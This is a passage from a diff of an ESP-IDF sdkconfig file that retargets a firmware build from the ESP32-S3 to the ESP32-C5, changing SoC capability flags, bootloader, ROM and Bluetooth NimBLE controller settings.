-CONFIG_SOC_TWAI_BRP_MAX=16384 +CONFIG_SOC_TIMER_GROUP_SUPPORT_RC_FAST=y +CONFIG_SOC_TIMER_GROUP_TOTAL_TIMERS=2 +CONFIG_SOC_TIMER_SUPPORT_ETM=y +CONFIG_SOC_TIMER_SUPPORT_SLEEP_RETENTION=y +CONFIG_SOC_MWDT_SUPPORT_SLEEP_RETENTION=y +CONFIG_SOC_TWAI_CONTROLLER_NUM=2 +CONFIG_SOC_TWAI_MASK_FILTER_NUM=3 +CONFIG_SOC_TWAI_RANGE_FILTER_NUM=1 +CONFIG_SOC_TWAI_BRP_MIN=1 +CONFIG_SOC_TWAI_BRP_MAX=255 +CONFIG_SOC_TWAI_CLK_SUPPORT_XTAL=y CONFIG_SOC_TWAI_SUPPORTS_RX_STATUS=y +CONFIG_SOC_TWAI_SUPPORT_FD=y +CONFIG_SOC_TWAI_SUPPORT_TIMESTAMP=y +CONFIG_SOC_EFUSE_DIS_PAD_JTAG=y +CONFIG_SOC_EFUSE_DIS_USB_JTAG=y +CONFIG_SOC_EFUSE_DIS_DIRECT_BOOT=y +CONFIG_SOC_EFUSE_SOFT_DIS_JTAG=y +CONFIG_SOC_EFUSE_DIS_ICACHE=y +CONFIG_SOC_EFUSE_ECDSA_KEY=y +CONFIG_SOC_EFUSE_ECDSA_KEY_P192=y +CONFIG_SOC_EFUSE_ECDSA_KEY_P384=y +CONFIG_SOC_HUK_MEM_NEEDS_RECHARGE=y +CONFIG_SOC_KEY_MANAGER_SUPPORT_KEY_DEPLOYMENT=y +CONFIG_SOC_KEY_MANAGER_ECDSA_KEY_DEPLOY=y +CONFIG_SOC_KEY_MANAGER_FE_KEY_DEPLOY=y +CONFIG_SOC_KEY_MANAGER_FE_KEY_DEPLOY_XTS_AES_128=y +CONFIG_SOC_KEY_MANAGER_FE_KEY_DEPLOY_XTS_AES_256=y +CONFIG_SOC_KEY_MANAGER_HMAC_KEY_DEPLOY=y +CONFIG_SOC_KEY_MANAGER_DS_KEY_DEPLOY=y +CONFIG_SOC_SECURE_BOOT_V2_RSA=y +CONFIG_SOC_SECURE_BOOT_V2_ECC=y +CONFIG_SOC_EFUSE_SECURE_BOOT_KEY_DIGESTS=3 +CONFIG_SOC_EFUSE_REVOKE_BOOT_KEY_DIGESTS=y +CONFIG_SOC_SUPPORT_SECURE_BOOT_REVOKE_KEY=y +CONFIG_SOC_FLASH_ENCRYPTED_XTS_AES_BLOCK_MAX=64 +CONFIG_SOC_FLASH_ENCRYPTION_XTS_AES=y +CONFIG_SOC_FLASH_ENCRYPTION_XTS_AES_128=y +CONFIG_SOC_FLASH_ENCRYPTION_XTS_AES_SUPPORT_PSEUDO_ROUND=y +CONFIG_SOC_PSRAM_ENCRYPTION_XTS_AES_128=y +CONFIG_SOC_RECOVERY_BOOTLOADER_SUPPORTED=y +CONFIG_SOC_BOOTLOADER_ANTI_ROLLBACK_SUPPORTED=y +CONFIG_SOC_APM_CTRL_FILTER_SUPPORTED=y +CONFIG_SOC_APM_LP_APM0_SUPPORTED=y +CONFIG_SOC_APM_CPU_APM_SUPPORTED=y +CONFIG_SOC_APM_SUPPORT_LP_TEE_CTRL=y +CONFIG_SOC_APM_SUPPORT_CTRL_CFG_LOCK=y +CONFIG_SOC_APM_SUPPORT_TEE_PERI_ACCESS_CTRL=y +CONFIG_SOC_CRYPTO_DPA_PROTECTION_SUPPORTED=y +CONFIG_SOC_RNG_BUF_CHAIN_ENTROPY_SOURCE=y +CONFIG_SOC_RNG_RTC_TIMER_ENTROPY_SOURCE=y CONFIG_SOC_UART_NUM=3 -CONFIG_SOC_UART_HP_NUM=3 +CONFIG_SOC_UART_HP_NUM=2 +CONFIG_SOC_UART_LP_NUM=1 CONFIG_SOC_UART_FIFO_LEN=128 +CONFIG_SOC_LP_UART_FIFO_LEN=16 CONFIG_SOC_UART_BITRATE_MAX=5000000 -CONFIG_SOC_UART_SUPPORT_FSM_TX_WAIT_SEND=y -CONFIG_SOC_UART_SUPPORT_WAKEUP_INT=y -CONFIG_SOC_UART_SUPPORT_APB_CLK=y +CONFIG_SOC_UART_SUPPORT_PLL_F80M_CLK=y CONFIG_SOC_UART_SUPPORT_RTC_CLK=y CONFIG_SOC_UART_SUPPORT_XTAL_CLK=y +CONFIG_SOC_UART_SUPPORT_WAKEUP_INT=y +CONFIG_SOC_UART_HAS_LP_UART=y +CONFIG_SOC_UART_SUPPORT_SLEEP_RETENTION=y +CONFIG_SOC_UART_SUPPORT_FSM_TX_WAIT_SEND=y +CONFIG_SOC_UART_WAKEUP_CHARS_SEQ_MAX_LEN=5 CONFIG_SOC_UART_WAKEUP_SUPPORT_ACTIVE_THRESH_MODE=y +CONFIG_SOC_UART_WAKEUP_SUPPORT_FIFO_THRESH_MODE=y +CONFIG_SOC_UART_WAKEUP_SUPPORT_START_BIT_MODE=y +CONFIG_SOC_UART_WAKEUP_SUPPORT_CHAR_SEQ_MODE=y CONFIG_SOC_UHCI_NUM=1 -CONFIG_SOC_USB_OTG_PERIPH_NUM=1 -CONFIG_SOC_SHA_DMA_MAX_BUFFER_SIZE=3968 -CONFIG_SOC_SHA_SUPPORT_DMA=y -CONFIG_SOC_SHA_SUPPORT_RESUME=y -CONFIG_SOC_SHA_GDMA=y -CONFIG_SOC_SHA_SUPPORT_SHA1=y -CONFIG_SOC_SHA_SUPPORT_SHA224=y -CONFIG_SOC_SHA_SUPPORT_SHA256=y -CONFIG_SOC_SHA_SUPPORT_SHA384=y -CONFIG_SOC_SHA_SUPPORT_SHA512=y -CONFIG_SOC_SHA_SUPPORT_SHA512_224=y -CONFIG_SOC_SHA_SUPPORT_SHA512_256=y -CONFIG_SOC_SHA_SUPPORT_SHA512_T=y -CONFIG_SOC_MPI_MEM_BLOCKS_NUM=4 -CONFIG_SOC_MPI_OPERATIONS_NUM=3 -CONFIG_SOC_RSA_MAX_BIT_LEN=4096 -CONFIG_SOC_AES_SUPPORT_DMA=y -CONFIG_SOC_AES_GDMA=y -CONFIG_SOC_AES_SUPPORT_AES_128=y -CONFIG_SOC_AES_SUPPORT_AES_256=y -CONFIG_SOC_PM_SUPPORT_EXT0_WAKEUP=y -CONFIG_SOC_PM_SUPPORT_EXT1_WAKEUP=y -CONFIG_SOC_PM_SUPPORT_EXT_WAKEUP=y +CONFIG_SOC_COEX_HW_PTI=y +CONFIG_SOC_EXTERNAL_COEX_ADVANCE=y +CONFIG_SOC_WIFI_LIGHT_SLEEP_CLK_WIDTH=12 +CONFIG_SOC_RTC_MEM_SUPPORT_SPEED_MODE_SWITCH=y CONFIG_SOC_PM_SUPPORT_WIFI_WAKEUP=y +CONFIG_SOC_PM_SUPPORT_BEACON_WAKEUP=y CONFIG_SOC_PM_SUPPORT_BT_WAKEUP=y -CONFIG_SOC_PM_SUPPORT_TOUCH_SENSOR_WAKEUP=y +CONFIG_SOC_PM_SUPPORT_EXT1_WAKEUP=y +CONFIG_SOC_PM_SUPPORT_EXT1_WAKEUP_MODE_PER_PIN=y CONFIG_SOC_PM_SUPPORT_CPU_PD=y -CONFIG_SOC_PM_SUPPORT_TAGMEM_PD=y -CONFIG_SOC_PM_SUPPORT_RTC_PERIPH_PD=y +CONFIG_SOC_PM_SUPPORT_MODEM_PD=y +CONFIG_SOC_PM_SUPPORT_XTAL32K_PD=y +CONFIG_SOC_PM_SUPPORT_RC32K_PD=y CONFIG_SOC_PM_SUPPORT_RC_FAST_PD=y CONFIG_SOC_PM_SUPPORT_VDDSDIO_PD=y +CONFIG_SOC_PM_SUPPORT_TOP_PD=y +CONFIG_SOC_PM_SUPPORT_HP_AON_PD=y CONFIG_SOC_PM_SUPPORT_MAC_BB_PD=y -CONFIG_SOC_PM_SUPPORT_MODEM_PD=y -CONFIG_SOC_CONFIGURABLE_VDDSDIO_SUPPORTED=y +CONFIG_SOC_PM_SUPPORT_RTC_PERIPH_PD=y +CONFIG_SOC_PM_SUPPORT_PMU_MODEM_STATE=y +CONFIG_SOC_PM_SUPPORT_PMU_CLK_ICG=y CONFIG_SOC_PM_SUPPORT_DEEPSLEEP_CHECK_STUB_ONLY=y -CONFIG_SOC_PM_CPU_RETENTION_BY_RTCCNTL=y -CONFIG_SOC_PM_MODEM_RETENTION_BY_BACKUPDMA=y -CONFIG_SOC_PM_MODEM_PD_BY_SW=y -CONFIG_SOC_CLK_RC_FAST_D256_SUPPORTED=y -CONFIG_SOC_RTC_SLOW_CLK_SUPPORT_RC_FAST_D256=y +CONFIG_SOC_PM_CPU_RETENTION_BY_SW=y +CONFIG_SOC_PM_MODEM_RETENTION_BY_REGDMA=y +CONFIG_SOC_EXT_MEM_CACHE_TAG_IN_CPU_DOMAIN=y +CONFIG_SOC_PM_TOP_PD_NOT_ALLOWED=y +CONFIG_SOC_PM_PAU_LINK_NUM=5 +CONFIG_SOC_PM_PAU_REGDMA_LINK_CONFIGURABLE=y +CONFIG_SOC_PM_PAU_REGDMA_LINK_IDX_WIFIMAC=4 +CONFIG_SOC_PM_PMU_MIN_SLP_SLOW_CLK_CYCLE_FIXED=y +CONFIG_SOC_PM_RETENTION_MODULE_NUM=32 CONFIG_SOC_CLK_RC_FAST_SUPPORT_CALIBRATION=y +CONFIG_SOC_MODEM_CLOCK_IS_INDEPENDENT=y +CONFIG_SOC_RNG_CLOCK_IS_INDEPENDENT=y CONFIG_SOC_CLK_XTAL32K_SUPPORTED=y +CONFIG_SOC_CLK_OSC_SLOW_SUPPORTED=y +CONFIG_SOC_CLK_LP_FAST_SUPPORT_XTAL=y CONFIG_SOC_CLK_LP_FAST_SUPPORT_XTAL_D2=y -CONFIG_SOC_EFUSE_DIS_DOWNLOAD_ICACHE=y -CONFIG_SOC_EFUSE_DIS_DOWNLOAD_DCACHE=y -CONFIG_SOC_EFUSE_HARD_DIS_JTAG=y -CONFIG_SOC_EFUSE_DIS_USB_JTAG=y -CONFIG_SOC_EFUSE_SOFT_DIS_JTAG=y -CONFIG_SOC_EFUSE_DIS_DIRECT_BOOT=y -CONFIG_SOC_EFUSE_DIS_ICACHE=y -CONFIG_SOC_EFUSE_BLOCK9_KEY_PURPOSE_QUIRK=y -CONFIG_SOC_SECURE_BOOT_V2_RSA=y -CONFIG_SOC_EFUSE_SECURE_BOOT_KEY_DIGESTS=3 -CONFIG_SOC_EFUSE_REVOKE_BOOT_KEY_DIGESTS=y -CONFIG_SOC_SUPPORT_SECURE_BOOT_REVOKE_KEY=y -CONFIG_SOC_FLASH_ENCRYPTED_XTS_AES_BLOCK_MAX=64 -CONFIG_SOC_FLASH_ENCRYPTION_XTS_AES=y -CONFIG_SOC_FLASH_ENCRYPTION_XTS_AES_OPTIONS=y -CONFIG_SOC_FLASH_ENCRYPTION_XTS_AES_128=y -CONFIG_SOC_FLASH_ENCRYPTION_XTS_AES_256=y -CONFIG_SOC_MEMPROT_CPU_PREFETCH_PAD_SIZE=16 -CONFIG_SOC_MEMPROT_MEM_ALIGN_SIZE=256 -CONFIG_SOC_PHY_DIG_REGS_MEM_SIZE=21 -CONFIG_SOC_MAC_BB_PD_MEM_SIZE=192 -CONFIG_SOC_WIFI_LIGHT_SLEEP_CLK_WIDTH=12 -CONFIG_SOC_SPI_MEM_SUPPORT_AUTO_WAIT_IDLE=y -CONFIG_SOC_SPI_MEM_SUPPORT_AUTO_SUSPEND=y -CONFIG_SOC_SPI_MEM_SUPPORT_AUTO_RESUME=y -CONFIG_SOC_SPI_MEM_SUPPORT_SW_SUSPEND=y -CONFIG_SOC_SPI_MEM_SUPPORT_FLASH_OPI_MODE=y -CONFIG_SOC_SPI_MEM_SUPPORT_TIMING_TUNING=y -CONFIG_SOC_SPI_MEM_SUPPORT_CONFIG_GPIO_BY_EFUSE=y -CONFIG_SOC_SPI_MEM_SUPPORT_WRAP=y -CONFIG_SOC_MEMSPI_TIMING_TUNING_BY_MSPI_DELAY=y -CONFIG_SOC_MEMSPI_CORE_CLK_SHARED_WITH_PSRAM=y -CONFIG_SOC_SPI_MEM_SUPPORT_CACHE_32BIT_ADDR_MAP=y -CONFIG_SOC_COEX_HW_PTI=y -CONFIG_SOC_EXTERNAL_COEX_LEADER_TX_LINE=y -CONFIG_SOC_SDMMC_USE_GPIO_MATRIX=y -CONFIG_SOC_SDMMC_NUM_SLOTS=2 -CONFIG_SOC_SDMMC_SUPPORT_XTAL_CLOCK=y -CONFIG_SOC_SDMMC_DELAY_PHASE_NUM=4 +CONFIG_SOC_RCC_IS_INDEPENDENT=y +CONFIG_SOC_CLK_ANA_I2C_MST_HAS_ROOT_GATE=y CONFIG_SOC_TEMPERATURE_SENSOR_SUPPORT_FAST_RC=y +CONFIG_SOC_TEMPERATURE_SENSOR_SUPPORT_XTAL=y +CONFIG_SOC_TEMPERATURE_SENSOR_INTR_SUPPORT=y +CONFIG_SOC_TEMPERATURE_SENSOR_SUPPORT_SLEEP_RETENTION=y +CONFIG_SOC_TEMPERATURE_SENSOR_UNDER_PD_TOP_DOMAIN=y CONFIG_SOC_WIFI_HW_TSF=y CONFIG_SOC_WIFI_FTM_SUPPORT=y CONFIG_SOC_WIFI_GCMP_SUPPORT=y CONFIG_SOC_WIFI_WAPI_SUPPORT=y CONFIG_SOC_WIFI_CSI_SUPPORT=y CONFIG_SOC_WIFI_MESH_SUPPORT=y -CONFIG_SOC_WIFI_SUPPORT_VARIABLE_BEACON_WINDOW=y -CONFIG_SOC_WIFI_PHY_NEEDS_USB_WORKAROUND=y +CONFIG_SOC_WIFI_HE_SUPPORT=y +CONFIG_SOC_WIFI_SUPPORT_5G=y +CONFIG_SOC_WIFI_MAC_VERSION_NUM=3 +CONFIG_SOC_WIFI_NAN_SUPPORT=y CONFIG_SOC_BLE_SUPPORTED=y -CONFIG_SOC_BLE_MESH_SUPPORTED=y +CONFIG_SOC_ESP_NIMBLE_CONTROLLER=y CONFIG_SOC_BLE_50_SUPPORTED=y CONFIG_SOC_BLE_DEVICE_PRIVACY_SUPPORTED=y -CONFIG_SOC_BLUFI_SUPPORTED=y -CONFIG_SOC_ULP_HAS_ADC=y -CONFIG_SOC_PHY_COMBO_MODULE=y -CONFIG_SOC_LCDCAM_CAM_SUPPORT_RGB_YUV_CONV=y -CONFIG_SOC_LCDCAM_CAM_PERIPH_NUM=1 -CONFIG_SOC_LCDCAM_CAM_DATA_WIDTH_MAX=16 +CONFIG_SOC_BLE_POWER_CONTROL_SUPPORTED=y +CONFIG_SOC_BLE_MULTI_CONN_OPTIMIZATION=y +CONFIG_SOC_BLE_PERIODIC_ADV_ENH_SUPPORTED=y +CONFIG_SOC_BLE_CTE_SUPPORTED=y +CONFIG_SOC_PHY_CALIBRATION_CLOCK_IS_INDEPENDENT=y +CONFIG_SOC_LP_CORE_SINGLE_INTERRUPT_VECTOR=y +CONFIG_SOC_LP_CORE_SUPPORT_ETM=y +CONFIG_SOC_LP_CORE_SUPPORT_STORE_LOAD_EXCEPTIONS=y CONFIG_IDF_CMAKE=y +CONFIG_IDF_ENV_BRINGUP=y CONFIG_IDF_TOOLCHAIN="gcc" CONFIG_IDF_TOOLCHAIN_GCC=y -CONFIG_IDF_TARGET_ARCH_XTENSA=y -CONFIG_IDF_TARGET_ARCH="xtensa" -CONFIG_IDF_TARGET="esp32s3" +CONFIG_IDF_TARGET_ARCH_RISCV=y +CONFIG_IDF_TARGET_ARCH="riscv" +CONFIG_IDF_TARGET="esp32c5" CONFIG_IDF_INIT_VERSION="5.5.0" -CONFIG_IDF_TARGET_ESP32S3=y -CONFIG_IDF_FIRMWARE_CHIP_ID=0x0009 +CONFIG_IDF_TARGET_ESP32C5=y +CONFIG_IDF_FIRMWARE_CHIP_ID=0x0017 # # Build type @@ -427,13 +512,13 @@ CONFIG_BOOTLOADER_PROJECT_VER=1 # # Recovery Bootloader and Rollback # +# CONFIG_BOOTLOADER_RECOVERY_ENABLE is not set # end of Recovery Bootloader and Rollback -CONFIG_BOOTLOADER_OFFSET_IN_FLASH=0x0 +CONFIG_BOOTLOADER_OFFSET_IN_FLASH=0x2000 CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_SIZE=y # CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_DEBUG is not set # CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_PERF is not set -# CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_NONE is not set # # Log @@ -470,7 +555,6 @@ CONFIG_BOOTLOADER_LOG_MODE_TEXT=y CONFIG_BOOTLOADER_FLASH_XMC_SUPPORT=y # end of Serial Flash Configurations -CONFIG_BOOTLOADER_VDDSDIO_BOOST_1_9V=y # CONFIG_BOOTLOADER_FACTORY_RESET is not set # CONFIG_BOOTLOADER_APP_TEST is not set CONFIG_BOOTLOADER_REGION_PROTECTION_ENABLE=y @@ -488,6 +572,7 @@ CONFIG_BOOTLOADER_RESERVE_RTC_SIZE=0 # Security features # CONFIG_SECURE_BOOT_V2_RSA_SUPPORTED=y +CONFIG_SECURE_BOOT_V2_ECC_SUPPORTED=y CONFIG_SECURE_BOOT_V2_PREFERRED=y # CONFIG_SECURE_SIGNED_APPS_NO_SECURE_BOOT is not set # CONFIG_SECURE_BOOT is not set @@ -507,34 +592,34 @@ CONFIG_APP_RETRIEVE_LEN_ELF_SHA=9 CONFIG_ESP_ROM_HAS_CRC_LE=y CONFIG_ESP_ROM_HAS_CRC_BE=y -CONFIG_ESP_ROM_HAS_MZ_CRC32=y CONFIG_ESP_ROM_HAS_JPEG_DECODE=y CONFIG_ESP_ROM_UART_CLK_IS_XTAL=y +CONFIG_ESP_ROM_USB_SERIAL_DEVICE_NUM=3 CONFIG_ESP_ROM_HAS_RETARGETABLE_LOCKING=y -CONFIG_ESP_ROM_USB_OTG_NUM=3 -CONFIG_ESP_ROM_USB_SERIAL_DEVICE_NUM=4 -CONFIG_ESP_ROM_HAS_ERASE_0_REGION_BUG=y -CONFIG_ESP_ROM_HAS_ENCRYPTED_WRITES_USING_LEGACY_DRV=y CONFIG_ESP_ROM_GET_CLK_FREQ=y +CONFIG_ESP_ROM_HAS_RVFPLIB=y CONFIG_ESP_ROM_HAS_HAL_WDT=y -CONFIG_ESP_ROM_NEEDS_SWSETUP_WORKAROUND=y +CONFIG_ESP_ROM_HAS_HAL_SYSTIMER=y +CONFIG_ESP_ROM_SYSTIMER_INIT_PATCH=y +CONFIG_ESP_ROM_HAS_HEAP_TLSF=y +CONFIG_ESP_ROM_TLSF_CHECK_PATCH=y +CONFIG_ESP_ROM_MULTI_HEAP_WALK_PATCH=y CONFIG_ESP_ROM_HAS_LAYOUT_TABLE=y CONFIG_ESP_ROM_HAS_SPI_FLASH=y CONFIG_ESP_ROM_HAS_SPI_FLASH_MMAP=y -CONFIG_ESP_ROM_HAS_ETS_PRINTF_BUG=y +CONFIG_ESP_ROM_WITHOUT_REGI2C=y CONFIG_ESP_ROM_HAS_NEWLIB=y CONFIG_ESP_ROM_HAS_NEWLIB_NANO_FORMAT=y -CONFIG_ESP_ROM_HAS_NEWLIB_32BIT_TIME=y +CONFIG_ESP_ROM_WDT_INIT_PATCH=y CONFIG_ESP_ROM_NEEDS_SET_CACHE_MMU_SIZE=y CONFIG_ESP_ROM_RAM_APP_NEEDS_MMU_INIT=y -CONFIG_ESP_ROM_HAS_FLASH_COUNT_PAGES_BUG=y -CONFIG_ESP_ROM_HAS_CACHE_SUSPEND_WAITI_BUG=y -CONFIG_ESP_ROM_HAS_CACHE_WRITEBACK_BUG=y -CONFIG_ESP_ROM_HAS_SW_FLOAT=y CONFIG_ESP_ROM_HAS_VERSION=y CONFIG_ESP_ROM_SUPPORT_DEEP_SLEEP_WAKEUP_STUB=y +CONFIG_ESP_ROM_USB_OTG_NUM=-1 CONFIG_ESP_ROM_HAS_OUTPUT_PUTC_FUNC=y -CONFIG_ESP_ROM_CONSOLE_OUTPUT_SECONDARY=y +CONFIG_ESP_ROM_CLIC_INT_THRESH_PATCH=y +CONFIG_ESP_ROM_HAS_SUBOPTIMAL_NEWLIB_ON_MISALIGNED_MEMORY=y +CONFIG_ESP_ROM_DELAY_US_PATCH=y # # Boot ROM Behavior @@ -549,15 +634,12 @@ CONFIG_BOOT_ROM_LOG_ALWAYS_ON=y # Serial flasher config # # CONFIG_ESPTOOLPY_NO_STUB is not set -# CONFIG_ESPTOOLPY_OCT_FLASH is not set -CONFIG_ESPTOOLPY_FLASH_MODE_AUTO_DETECT=y # CONFIG_ESPTOOLPY_FLASHMODE_QIO is not set # CONFIG_ESPTOOLPY_FLASHMODE_QOUT is not set CONFIG_ESPTOOLPY_FLASHMODE_DIO=y # CONFIG_ESPTOOLPY_FLASHMODE_DOUT is not set CONFIG_ESPTOOLPY_FLASH_SAMPLE_MODE_STR=y CONFIG_ESPTOOLPY_FLASHMODE="dio" -# CONFIG_ESPTOOLPY_FLASHFREQ_120M is not set CONFIG_ESPTOOLPY_FLASHFREQ_80M=y # CONFIG_ESPTOOLPY_FLASHFREQ_40M is not set # CONFIG_ESPTOOLPY_FLASHFREQ_20M is not set @@ -607,6 +689,7 @@ CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_ENABLE=y # CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_DISABLE is not set CONFIG_COMPILER_ASSERT_NDEBUG_EVALUATE=y CONFIG_COMPILER_FLOAT_LIB_FROM_GCCLIB=y +# CONFIG_COMPILER_FLOAT_LIB_FROM_RVFPLIB is not set CONFIG_COMPILER_OPTIMIZATION_ASSERTION_LEVEL=2 # CONFIG_COMPILER_OPTIMIZATION_CHECKS_SILENT is not set CONFIG_COMPILER_HIDE_PATHS_MACROS=y @@ -618,6 +701,7 @@ CONFIG_COMPILER_STACK_CHECK_MODE_NONE=y # CONFIG_COMPILER_STACK_CHECK_MODE_ALL is not set # CONFIG_COMPILER_NO_MERGE_CONSTANTS is not set # CONFIG_COMPILER_WARN_WRITE_STRINGS is not set +# CONFIG_COMPILER_SAVE_RESTORE_LIBCALLS is not set CONFIG_COMPILER_DISABLE_DEFAULT_ERRORS=y # CONFIG_COMPILER_DISABLE_GCC12_WARNINGS is not set # CONFIG_COMPILER_DISABLE_GCC13_WARNINGS is not set @@ -642,7 +726,6 @@ CONFIG_APPTRACE_DEST_NONE=y # CONFIG_APPTRACE_DEST_UART0 is not set # CONFIG_APPTRACE_DEST_UART1 is not set # CONFIG_APPTRACE_DEST_UART2 is not set -# CONFIG_APPTRACE_DEST_USB_CDC is not set CONFIG_APPTRACE_DEST_UART_NONE=y CONFIG_APPTRACE_UART_TASK_PRIO=1 CONFIG_APPTRACE_LOCK_ENABLE=y @@ -674,8 +757,6 @@ CONFIG_BT_NIMBLE_MAX_CONNECTIONS=3 CONFIG_BT_NIMBLE_MAX_BONDS=3 CONFIG_BT_NIMBLE_MAX_CCCDS=8 CONFIG_BT_NIMBLE_L2CAP_COC_MAX_NUM=0 -CONFIG_BT_NIMBLE_PINNED_TO_CORE_0=y -# CONFIG_BT_NIMBLE_PINNED_TO_CORE_1 is not set CONFIG_BT_NIMBLE_PINNED_TO_CORE=0 CONFIG_BT_NIMBLE_HOST_TASK_STACK_SIZE=4096 CONFIG_BT_NIMBLE_ROLE_CENTRAL=y @@ -709,6 +790,7 @@ CONFIG_BT_NIMBLE_MSYS_1_BLOCK_COUNT=12 CONFIG_BT_NIMBLE_MSYS_1_BLOCK_SIZE=256 CONFIG_BT_NIMBLE_MSYS_2_BLOCK_COUNT=24 CONFIG_BT_NIMBLE_MSYS_2_BLOCK_SIZE=320 +CONFIG_BT_NIMBLE_MSYS_BUF_FROM_HEAP=y CONFIG_BT_NIMBLE_TRANSPORT_ACL_FROM_LL_COUNT=24 CONFIG_BT_NIMBLE_TRANSPORT_ACL_SIZE=255 CONFIG_BT_NIMBLE_TRANSPORT_EVT_SIZE=70 @@ -718,7 +800,6 @@ CONFIG_BT_NIMBLE_L2CAP_COC_SDU_BUFF_COUNT=1 # end of Memory Settings CONFIG_BT_NIMBLE_GATT_MAX_PROCS=4 -# CONFIG_BT_NIMBLE_HS_FLOW_CTRL is not set CONFIG_BT_NIMBLE_RPA_TIMEOUT=900 # CONFIG_BT_NIMBLE_MESH is not set CONFIG_BT_NIMBLE_CRYPTO_STACK_MBEDTLS=y @@ -733,13 +814,15 @@ CONFIG_BT_NIMBLE_LL_CFG_FEAT_LE_CODED_PHY=y CONFIG_BT_NIMBLE_EXT_SCAN=y CONFIG_BT_NIMBLE_ENABLE_PERIODIC_SYNC=y CONFIG_BT_NIMBLE_MAX_PERIODIC_SYNCS=0 +CONFIG_BT_NIMBLE_MAX_PERIODIC_ADVERTISER_LIST=5 +# CONFIG_BT_NIMBLE_BLE_POWER_CONTROL is not set +# CONFIG_BT_NIMBLE_AOA_AOD is not set # CONFIG_BT_NIMBLE_GATT_CACHING is not set # CONFIG_BT_NIMBLE_INCL_SVC_DISCOVERY is not set CONFIG_BT_NIMBLE_WHITELIST_SIZE=12 # CONFIG_BT_NIMBLE_TEST_THROUGHPUT_TEST is not set # CONFIG_BT_NIMBLE_BLUFI_ENABLE is not set CONFIG_BT_NIMBLE_USE_ESP_TIMER=y -CONFIG_BT_NIMBLE_LEGACY_VHCI_ENABLE=y # CONFIG_BT_NIMBLE_BLE_GATT_BLOB_TRANSFER is not set # @@ -808,6 +891,7 @@ CONFIG_BT_NIMBLE_SVC_GAP_NAME_WRITE_PERM_AUTHOR=0 # end of BLE Services # CONFIG_BT_NIMBLE_VS_SUPPORT is not set +# CONFIG_BT_NIMBLE_OPTIMIZE_MULTI_CONN is not set # CONFIG_BT_NIMBLE_ENC_ADV_DATA is not set # CONFIG_BT_NIMBLE_HIGH_DUTY_ADV_ITVL is not set # CONFIG_BT_NIMBLE_HOST_ALLOW_CONNECT_WITH_SCAN is not set @@ -832,101 +916,91 @@ CONFIG_BT_NIMBLE_EATT_CHAN_NUM=0 # # Controller Options # -CONFIG_BT_CTRL_MODE_EFF=1 -CONFIG_BT_CTRL_BLE_MAX_ACT=6 -CONFIG_BT_CTRL_BLE_MAX_ACT_EFF=6 -CONFIG_BT_CTRL_BLE_STATIC_ACL_TX_BUF_NB=0 -CONFIG_BT_CTRL_PINNED_TO_CORE_0=y -# CONFIG_BT_CTRL_PINNED_TO_CORE_1 is not set -CONFIG_BT_CTRL_PINNED_TO_CORE=0 -CONFIG_BT_CTRL_HCI_MODE_VHCI=y -# CONFIG_BT_CTRL_HCI_MODE_UART_H4 is not set -CONFIG_BT_CTRL_HCI_TL=1 -CONFIG_BT_CTRL_ADV_DUP_FILT_MAX=30 -CONFIG_BT_BLE_CCA_MODE_NONE=y -# CONFIG_BT_BLE_CCA_MODE_HW is not set -# CONFIG_BT_BLE_CCA_MODE_SW is not set -CONFIG_BT_BLE_CCA_MODE=0 -CONFIG_BT_CTRL_HW_CCA_VAL=75 -CONFIG_BT_CTRL_HW_CCA_EFF=0 -CONFIG_BT_CTRL_CE_LENGTH_TYPE_ORIG=y -# CONFIG_BT_CTRL_CE_LENGTH_TYPE_CE is not set -# CONFIG_BT_CTRL_CE_LENGTH_TYPE_SD is not set -CONFIG_BT_CTRL_CE_LENGTH_TYPE_EFF=0 -CONFIG_BT_CTRL_TX_ANTENNA_INDEX_0=y -# CONFIG_BT_CTRL_TX_ANTENNA_INDEX_1 is not set -CONFIG_BT_CTRL_TX_ANTENNA_INDEX_EFF=0 -CONFIG_BT_CTRL_RX_ANTENNA_INDEX_0=y -# CONFIG_BT_CTRL_RX_ANTENNA_INDEX_1 is not set -CONFIG_BT_CTRL_RX_ANTENNA_INDEX_EFF=0 -# CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_N24 is not set -# CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_N21 is not set -# CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_N18 is not set -# CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_N15 is not set -# CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_N12 is not set -# CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_N9 is not set -# CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_N6 is not set -# CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_N3 is not set -# CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_N0 is not set -# CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_P3 is not set -# CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_P6 is not set -CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_P9=y -# CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_P12 is not set -# CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_P15 is not set -# CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_P18 is not set -# CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_P20 is not set -CONFIG_BT_CTRL_DFT_TX_POWER_LEVEL_EFF=11 + +# +# HCI Config +# +CONFIG_BT_LE_HCI_INTERFACE_USE_RAM=y +# CONFIG_BT_LE_HCI_INTERFACE_USE_UART is not set +# end of HCI Config + +CONFIG_BT_LE_CONTROLLER_NPL_OS_PORTING_SUPPORT=y +CONFIG_BT_LE_CONTROLLER_TASK_STACK_SIZE=4096 + +# +# Controller debug features +# +# CONFIG_BT_LE_CONTROLLER_LOG_ENABLED is not set +# CONFIG_BT_LE_ERROR_SIM_ENABLED is not set +# CONFIG_BT_LE_ASSERT_WHEN_ABNORMAL_DISCONN_ENABLED is not set +# CONFIG_BT_LE_DEBUG_REMAIN_SCENE_ENABLED is not set +# CONFIG_BT_LE_PTR_CHECK_ENABLED is not set +# CONFIG_BT_LE_MEM_CHECK_ENABLED is not set +# end of Controller debug features + +CONFIG_BT_LE_LL_RESOLV_LIST_SIZE=4 